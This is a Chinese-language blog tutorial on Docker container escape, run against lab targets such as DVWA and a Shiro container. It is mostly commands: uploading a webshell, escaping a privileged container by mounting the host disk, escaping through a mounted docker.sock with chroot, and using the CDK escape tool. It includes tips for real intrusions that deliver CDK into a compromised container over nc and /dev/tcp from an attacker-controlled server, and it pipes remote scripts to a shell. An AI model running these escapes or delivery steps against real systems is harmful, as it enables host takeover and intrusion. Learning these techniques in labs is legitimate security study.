一篇文章学习docker逃逸

环境搭建

https://hub.docker.com 		#搜dvwa,alpine

https://wiki.teamssix.com/CloudNative/		#相关命令查询

image-20230923194148337

image-20230923142741185

image-20230923143837605

查看镜像

image-20230923143928125

启动

 docker run -it -p 8080:80 e901498e651a 

image-20230923144401212

访问,账号:密码 admin:password,进去后创建数据库即可

image-20230923144504685

image-20230923144919004

将等级调成low

image-20230923144844085

容器检测
没有权限:端口扫描详细信息,根据应用对象表现

拿到权限:https://blog.youkuaiyun.com/qq_23936389/article/details/131486643

VM&&docker&&k8s

这里以docker环境为例子

直接传个在上传点上传个马子

image-20230923190507729

image-20230923190914804

判断docker环境

(因为权限问题,有些回显不全)

1.查询cgroup信息

cat /proc/1/cgroup |grep docker

image-20230923192246603

2.检查/.dockerenv文件

image-20230923191842757

3.检查mount信息

mount | grep '/ type'

image-20230923192440375

4.查看硬盘信息

fdisk -l 

容器输出为空,非容器有内容输出。

image-20230923192608463

5.查看文件系统以及挂载点

df -h |egrep '(overlay|aufs)'

image-20230923192825795

6.环境变量

env

image-20230923192907520

容器逃逸-特权模式

再ubuntu的/目录建立一个flag

flag{this is flag,doker is bypass}

如果再创建的镜像当中看到这个flag,证明逃逸成功

image-20230923195225875

启动靶场:

docker run --rm --privileged=true -it alpine

image-20230923194743620

检测环境:

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

image-20230923194808088

判断特权:

cat /proc/self/status | grep CapEff

CapEff:	0000003fffffffff

image-20230923194826392

查看目录:

fdisk -l

image-20230923195400110

特权逃逸:

注意这里挂载点,是Type=Linux的

mkdir /test1 && mount /dev/sda5 /test1

image-20230923201159411

判断结果:

cd /test/ && ls

image-20230923201230473

容器逃逸-危险挂载
1、挂载Docker Socket逃逸

启动靶场:

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

image-20230923202204442

进入环境:

docker exec -it with_docker_sock /bin/bash

image-20230923202214862

检测环境:

ls -lah /var/run/docker.sock

image-20230923202231818

挂载逃逸:

apt-get update

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

apt-get update && apt-get install curl && curl -fsSL https://get.docker.com/ | sh

image-20230923202919712

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash

chroot /host

image-20230923203022078

模拟真实场景

1、高权限-Web入口到Docker逃逸(Java)

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

image-20230923203249636

image-20230923204444963

容器检测docker

whoami
cd / &&ls -la

image-20230923204647256

cat /proc/1/cgroup |grep docker

image-20230923204602774

mount | grep '/ type'

image-20230923204834632

判断特权

cat /proc/self/status | grep CapEff

image-20230923204913404

查看目录

fdisk -l

image-20230923205102197

特权逃逸:

mkdir /test1 && mount /dev/sda5 /test1

image-20230923205140657

判断结果:

cd /test/ && ls

image-20230923205239991

image-20230923205256546

2、低权限-Web入口到Docker逃逸(PHP)

(基本就无了)

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
容器逃逸&CDK自动化

检测利用:https://github.com/cdk-team/CDK

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

将可执行文件投递到已攻入的容器内部开始使用

https://github.com/cdk-team/CDK/releases/

技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK

如果你的漏洞利用过程允许上传文件,即可直接植入CDK。
如果你可以在目标容器中执行命令(RCE),但容器中没有wgetcurl命令,可以参考下面方法植入:

将CDK下载到你的公网服务器,监听端口:

nc -lvp 999 < cdk

在已攻入的目标容器中执行:

cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk





常规检测利用:https://github.com/teamssix/container-escape-check
在 Docker 容器中一键运行:

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O- | bash

或者克隆项目到容器中运行:

git clone https://github.com/teamssix/container-escape-check.git
cd container-escape-check
chmod +x container-escape-check.sh
./container-escape-check.sh

image-20231006190928048

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值